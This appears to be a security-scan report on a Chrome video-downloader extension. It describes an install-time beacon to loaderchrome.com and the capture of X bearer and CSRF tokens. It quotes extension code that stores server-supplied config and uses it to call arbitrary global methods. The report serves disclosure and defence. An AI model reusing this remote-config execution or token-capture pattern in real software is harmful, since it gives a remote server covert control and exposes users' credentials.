Is Video Downloader Chrome - save video safe?
Video Downloader Chrome contacts loaderchrome.com on install and stores server-supplied config that controls extension behavior at runtime.
When installed or updated, the extension POSTs device and version data to loaderchrome.com and saves the returned JSON as its operating configuration. Separately, a webRequest listener captures all outgoing request headers — including Authorization bearer tokens and x-csrf-token values — for every request to x.com/i/api/* and stores them locally for replay when fetching video URLs. On Facebook video pages, the extension reads the c_user cookie and intercepts a CSRF token to call Facebook's internal video data API directly.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Install-time POST fetches server config that can reach the page global
On install/update, the extension POSTs its version and reason to loaderchrome.com/install, storing any 200 JSON reply as config.
Since sw.gtx=globalThis, a server-driven call could reach arbitrary globals.
Here it got 204; nothing ran.
What actually happens
You install or update the extension.
No interaction beyond installing it is required.
The extension immediately POSTs to loaderchrome.com/install and treats the reply as configuration it stores and acts on.
The request carries the extension version and install reason; a JSON reply is saved under chrome.storage.local key 'sites'.
Captured request
Observed during dynamic analysis: the POST fired automatically on install with no user action. The server returned 204 (empty) on that run, so no configuration was stored and the override routine did not run. A 200 with a JSON body is required for the config-storage / override path to execute.
(base64 of JSON, e.g.) eyJyIjoiaW5zdGFsbCIsInYiOiIwLjAuMiIsInNjIjoiIn0%3DThe code that does this
Install beacon and config storage (background.js)
const cp = async n => { const t = { r: n.reason, v: chrome.runtime.getManifest().version, sc: sw.sites.tiktok }; const r = encodeURIComponent(btoa(JSON.stringify(t))); fetch("https://loaderchrome.com/install", { method: "POST", body: r }) .then(async n => { if (!n.ok || 200 != n.status) return; const t = await n.json(); // server-controlled JSON await sw.sp; chrome.storage.local.set({ [Fn.Sites]: t, // stored under key 'sites' [Fn.Version]: Date.now() }); });};The code that does this
Config-driven property assignment reaching globalThis (background.js)
initSite(n = 0) { // t() walks a key-path array down from sw const t = n => (n && n.reduce ? n.reduce((n, t) => n[t], sw) : n); try { sw.c[n].map(entry => { let [r, e, u, i, o] = entry; // all five come from server config t(r)[e] = t(u)[i](...o.map(t)); // assign server-named method result }); // to server-named property } catch {}}// elsewhere:we.gtx = globalThis; // 'gtx' resolves to the page global objectglobalThis.sw = we; // sw is the config host objectWhat is confirmed vs. what is conditional
Confirmed by traffic during dynamic analysis: the automatic install-time POST to loaderchrome.com/install, firing with no user action. Not exercised on the captured run: storage of a server config and the initSite override path — the server returned an empty 204 response, so the 'sites' key was never populated and the override routine did not run. The override branch executes only if loaderchrome.com returns a 200 with a JSON body containing a 'c' property. The capability is present in shipped code and reaches the page global object via sw.gtx = globalThis; whether it is ever activated depends on what the publisher-controlled server chooses to return.
What it can do
Permissions this extension asks for, as declared in version 0.0.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Store data in your browser
storage
Start, monitor and manage your downloads
downloads
Open files you have downloaded
downloads.open
Store an unlimited amount of data in your browser
unlimitedStorage
Watch every request your browser makes
webRequest
Where it sends data
Destinations our analysis observed Video Downloader Chrome - save video contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.facebook.comwidely used
Video Downloader Chrome - save video sends data to www.facebook.com. A widely used service: 31 other extensions we have analyzed send data here.
- api.x.com
Video Downloader Chrome - save video sends data to api.x.com. 5 other extensions we have analyzed send data here.
- loaderchrome.com
Video Downloader Chrome - save video sends data to loaderchrome.com. No other extension we have analyzed sends data here.